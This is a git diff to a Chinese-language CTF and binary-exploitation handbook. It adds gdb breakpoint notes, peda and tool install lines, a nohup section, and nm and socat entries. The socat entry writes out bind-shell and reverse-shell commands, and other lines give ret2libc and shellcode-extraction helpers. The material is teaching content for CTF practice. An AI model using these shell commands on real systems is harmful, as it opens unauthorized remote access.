diff --git a/doc/2.2_gdb&peda.md b/doc/2.2_gdb&peda.md index dc1673c..0097468 100644 --- a/doc/2.2_gdb&peda.md +++ b/doc/2.2_gdb&peda.md @@ -45,6 +45,93 @@ long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data); ## gdb 基本操作 +使用 `-tui` 选项可以将代码显示在一个漂亮的交互式窗口中。 + +#### break -- b +- `break` 当不带参数时,在所选栈帧中执行的下一条指令处设置断点。 +- `break ` 在函数体入口处打断点。 +- `break ` 在当前源码文件指定行的开始处打断点。 +- `break -N` `break +N` 在当前源码行前面或后面的 `N` 行开始处打断点,`N` 为正整数。 +- `break ` 在源码文件 `filename` 的 `line` 行处打断点。 +- `break ` 在源码文件 `filename` 的 `function` 函数入口处打断点。 +- `break
` 在程序指令的地址处打断点。 +- `break ... if ` 设置条件断点,`...` 代表上述参数之一(或无参数),`cond` 为条件表达式,仅在 `cond` 值非零时停住程序。 + +#### info breakpoints -- i b +查看断点,观察点和捕获点的列表。用法: +- `info breakpoints [list…]` +- `info break [list…]` + +`list…` 用来指定若干个断点的编号(可省略),可以是 `2`, `1-3`, `2 5` 等。 + +#### disable -- dis +禁用断点,参数使用空格分隔。不带参数时禁用所有断点。 +- `disable [breakpoints] [list…]` `breakpoints` 是 `disable` 的子命令(可省略),`list…` 同 `info breakpoints` 中的描述。 + +#### enable +启用断点,参数使用空格分隔。不带参数时启用所有断点。 +- `enable [breakpoints] [list…]` 启用指定的断点(或所有定义的断点)。 +- `enable [breakpoints] once list…` 临时启用指定的断点。GDB 在停止您的程序后立即禁用这些断点。 +- `enable [breakpoints] delete list…` 使指定的断点启用一次,然后删除。一旦您的程序停止,GDB 就会删除这些断点。等效于用 `tbreak` 设置的断点。 + +`breakpoints` 同 `disable` 中的描述。 + +#### clear +在指定行或函数处清除断点。参数可以是行号,函数名称或 `*` 跟一个地址。 +- `clear` 当不带参数时,清除所选栈帧在执行的源码行中的所有断点。 +- `clear `, `clear ` 删除在命名函数的入口处设置的任何断点。 +- `clear `, `clear ` 删除在指定的文件指定的行号的代码中设置的任何断点。 +- `clear
` 清除指定程序指令的地址处的断点。 + +#### delete -- d +删除断点。参数使用空格分隔。不带参数时删除所有断点。 +- `delete [breakpoints] [list…]` + +#### tbreak +设置临时断点。参数形式同 `break` 一样。当第一次命中时被删除。 + +#### watch + +#### step -- s + +#### reverse-step + +#### next -- n + +#### reverse-next + +#### return + +#### finish -- fin + +#### until -- u + +#### continue -- c + +#### print -- p + +#### x + +#### display + +#### info display + +#### disable display + +#### enable display + +#### undisplay + +#### help -- h + +#### attach + +#### run -- r + +#### backtrace -- bt + +#### ptype + 注意:使用 gdb 调试时,会自动关闭 ASLR,所以可能每次看到的栈地址都不变。 @@ -57,6 +144,11 @@ $ echo "source ~/peda/peda.py" >> ~/.gdbinit $ echo "DONE! debug your program with gdb and enjoy" ``` +如果系统为 Arch Linux,则可以直接安装: +```shell +$ yaourt -S peda +``` + #### peda命令 - `aslr` - 显示/设置 gdb 的 ASLR - `checksec` - 检查二进制文件的安全选项 diff --git a/doc/3.3.1_format_string.md b/doc/3.3.1_format_string.md index 9fe7663..7f5d009 100644 --- a/doc/3.3.1_format_string.md +++ b/doc/3.3.1_format_string.md @@ -3,6 +3,7 @@ - [格式化输出函数和格式字符串](#格式化输出函数和格式字符串) - [格式化字符串漏洞基本原理](#格式化字符串漏洞基本原理) - [格式化字符串漏洞](#格式化字符串漏洞) +- [x86-64 中的格式化字符串漏洞](#x8664-中的格式化字符串漏洞) - [CTF 中的格式化字符串漏洞](#ctf-中的格式化字符串漏洞) - [扩展阅读](#扩展阅读) @@ -299,6 +300,9 @@ printf("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s") #### 覆盖任意地址内存 +## x86-64 中的格式化字符串漏洞 + + ## CTF 中的格式化字符串漏洞 #### pwntools pwnlib.fmtster 模块 @@ -356,12 +360,12 @@ gdb-peda$ r gdb-peda$ n [----------------------------------registers-----------------------------------] EAX: 0xffffd1f0 ("AAAA\n") -EBX: 0x804a000 --> 0x8049f10 --> 0x1 +EBX: 0x804a000 --> 0x8049f10 --> 0x1 ECX: 0xffffd1f0 ("AAAA\n") -EDX: 0x400 -ESI: 0xf7f97000 --> 0x1bbd90 -EDI: 0x0 -EBP: 0xffffd5f8 --> 0x0 +EDX: 0x400 +ESI: 0xf7f97000 --> 0x1bbd90 +EDI: 0x0 +EBP: 0xffffd5f8 --> 0x0 ESP: 0xffffd1e0 --> 0xffffd1f0 ("AAAA\n") EIP: 0x8048512 (: call 0x8048370 ) EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) @@ -379,12 +383,12 @@ arg[0]: 0xffffd1f0 ("AAAA\n") [------------------------------------stack-------------------------------------] 0000| 0xffffd1e0 --> 0xffffd1f0 ("AAAA\n") 0004| 0xffffd1e4 --> 0xffffd1f0 ("AAAA\n") -0008| 0xffffd1e8 --> 0x400 +0008| 0xffffd1e8 --> 0x400 0012| 0xffffd1ec --> 0x80484d0 (: add ebx,0x1b30) 0016| 0xffffd1f0 ("AAAA\n") 0020| 0xffffd1f4 --> 0xa ('\n') -0024| 0xffffd1f8 --> 0x0 -0028| 0xffffd1fc --> 0x0 +0024| 0xffffd1f8 --> 0x0 +0028| 0xffffd1fc --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x08048512 in main () @@ -393,7 +397,7 @@ Legend: code, data, rodata, value 读取重定位表获得 `printf()` 的 GOT 地址(第一列 Offset): ```text -$ readelf -r a.out +$ readelf -r a.out Relocation section '.rel.dyn' at offset 0x2f4 contains 2 entries: Offset Info Type Sym.Value Sym. Name diff --git a/doc/4.2_Linux_terminal_tips.md b/doc/4.2_Linux_terminal_tips.md index 43ac5a6..9d8c381 100644 --- a/doc/4.2_Linux_terminal_tips.md +++ b/doc/4.2_Linux_terminal_tips.md @@ -4,6 +4,7 @@ - [从可执行文件中提取 shellcode](#从可执行文件中提取-shellcode) - [查看进程虚拟地址空间](#查看进程虚拟地址空间) - [ASCII 表](#ascii-表) +- [nohup 和 &](#nohup-和) ## 重定向输入字符 @@ -193,3 +194,31 @@ D: - = M ] m } E: . > N ^ n ~ F: / ? O _ o DEL ``` + + +## nohup 和 & +用 `nohup` 运行命令可以使命令永久的执行下去,和 Shell 没有关系,而 `&` 表示设置此进程为后台进程。默认情况下,进程是前台进程,这时就把 Shell 给占据了,我们无法进行其他操作,如果我们希望其在后台运行,可以使用 `&` 达到这个目的。 + +该命令的一般形式为: +``` +$ nohup & +``` + +#### 前后台进程切换 +可以通过 `bg`(background)和 `fg`(foreground)命令进行前后台进程切换。 + +显示Linux中的任务列表及任务状态: +``` +$ jobs -l +[1]+ 9433 Stopped (tty input) ./a.out +``` + +将进程放到后台运行: +``` +$ bg 1 +``` + +将后台进程放到前台运行: +``` +$ fg 1 +``` diff --git a/doc/6.1_Linuxtools.md b/doc/6.1_Linuxtools.md index c0d92c7..37921b0 100644 --- a/doc/6.1_Linuxtools.md +++ b/doc/6.1_Linuxtools.md @@ -7,8 +7,10 @@ - [ldd](#ldd) - [ltrace](#ltrace) - [md5sum](#md5sum) +- [nm](#nm) - [objdump](#objdump) - [readelf](#readelf) +- [socat](#socat) - [ssdeep](#ssdeep) - [strace](#strace) - [strings](#strings) @@ -16,7 +18,7 @@ ## dd -用于复制文件并对原文件的内容进行转换和格式化处理。 +**dd** 命令用于复制文件并对原文件的内容进行转换和格式化处理。 #### 重要参数 ```text @@ -27,7 +29,7 @@ bs=BYTES read and write up to BYTES bytes at a time ``` #### 常见用法 -```text +```shell $ dd if=[file1] of=[file2] skip=[size] bs=[bytes] ``` @@ -36,8 +38,8 @@ $ dd if=[file1] of=[file2] skip=[size] bs=[bytes] **file** 命令用来探测给定文件的类型。 #### 技巧 -```text -file -L [file] +```shell +$ file -L [file] ``` 当文件是链接文件时,直接显示符号链接所指向的文件类别。 @@ -45,17 +47,23 @@ file -L [file] ## edb **edb** 是一个同时支持x86、x86-64的调试器。它主要向 OllyDbg 工具看齐,并可通过插件体系进行功能的扩充。 +#### 安装 +```shell +$ yaourt -S edb +``` + ## foremost -foremost是一个基于文件文件头和尾部信息以及文件的内建数据结构恢复文件的命令行工具。 +**foremost** 是一个基于文件文件头和尾部信息以及文件的内建数据结构恢复文件的命令行工具。 + #### 安装 -```text +```shell $ yaourt -S foremost ``` ## ldd -用于打印程序或者库文件所依赖的共享库列表。 +**ldd** 命令用于打印程序或者库文件所依赖的共享库列表。 ## ltrace @@ -79,6 +87,17 @@ $ yaourt -S foremost ``` +## nm +**nm** 命令被用于显示二进制目标文件的符号表。 + +#### 重要参数 +```text +-a, --debug-syms Display debugger-only symbols +-D, --dynamic Display dynamic symbols instead of normal symbols +-g, --extern-only Display only external symbols +``` + + ## objdump **objdump** 命令是用查看目标文件或者可执行的目标文件的构成的gcc工具。 @@ -90,18 +109,18 @@ $ yaourt -S foremost #### 常见用法 结合使用 *objdump* 和 *grep*。 -```text -objdump -d [executable] | grep -A 30 [function_name] +```shell +$ objdump -d [executable] | grep -A 30 [function_name] ``` 查找 **GOT** 表地址: -```text -objdump -R [binary] | grep [function_name] +```shell +$ objdump -R [binary] | grep [function_name] ``` 从可执行文件中提取 **shellcode** (注意,在objdump中可能会删除空字节): -```text -for i in `objdump -d print_flag | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; do echo -n "\x$i" ; done +```shell +$ for i in `objdump -d print_flag | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; do echo -n "\x$i" ; done ``` @@ -118,8 +137,52 @@ for i in `objdump -d print_flag | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2 #### 常见用法 查找库中函数的偏移量,常用于**ret2lib**: -```text -readelf -s [path/to/library.so] | grep [function_name] +```shell +$ readelf -s [path/to/library.so] | grep [function_name] +``` + + +## socat +**socat** 是 netcat 的加强版,CTF 中经常需要使用使用它连接服务器。 + +#### 安装 +```shell +$ yaourt -S socat +``` + +#### 常见用法 +```shell +$ socat [options]
+``` + +连接远程端口 +```shell +$ socat - TCP:localhost:80 +``` + +监听端口 +```shell +$ socat TCP-LISTEN:700 - +``` + +正向 shell +```shell +$ socat TCP-LISTEN:700 EXEC:/bin/bash +``` + +反弹 shell +```shell +$ socat tcp-connect:localhost:700 exec:'bash -li',pty,stderr,setsid,sigint,sane +``` + +将本地 80 端口转发到远程的 80 端口 +```shell +$ socat TCP-LISTEN:80,fork TCP:www.domain.org:80 +``` + +fork 服务器 +```shell +$ socat tcp-l:9999,fork exec:./pwn1 ``` @@ -133,9 +196,9 @@ readelf -s [path/to/library.so] | grep [function_name] ``` #### 常见用法 -```text -ssdeep -b orginal.elf > hash.txt -ssdeep -bm hash.txt modified.elf +```shell +$ ssdeep -b orginal.elf > hash.txt +$ ssdeep -bm hash.txt modified.elf ``` @@ -167,13 +230,13 @@ ssdeep -bm hash.txt modified.elf 组合使用 *strings* 和 *grep*。 在 **ret2lib** 攻击中,得到字符串的偏移: -```text -strings -t x /lib32/libc-2.24.so | grep /bin/sh +```shell +$ strings -t x /lib32/libc-2.24.so | grep /bin/sh ``` 检查是否使用了 **UPX** 加壳 -```text -strings [executable] | grep -i upx +```shell +$ strings [executable] | grep -i upx ``` #### 练习 @@ -194,8 +257,8 @@ strings [executable] | grep -i upx ``` #### 常见用法 -```text -xxd -g1 +```shell +$ xxd -g1 ``` #### 练习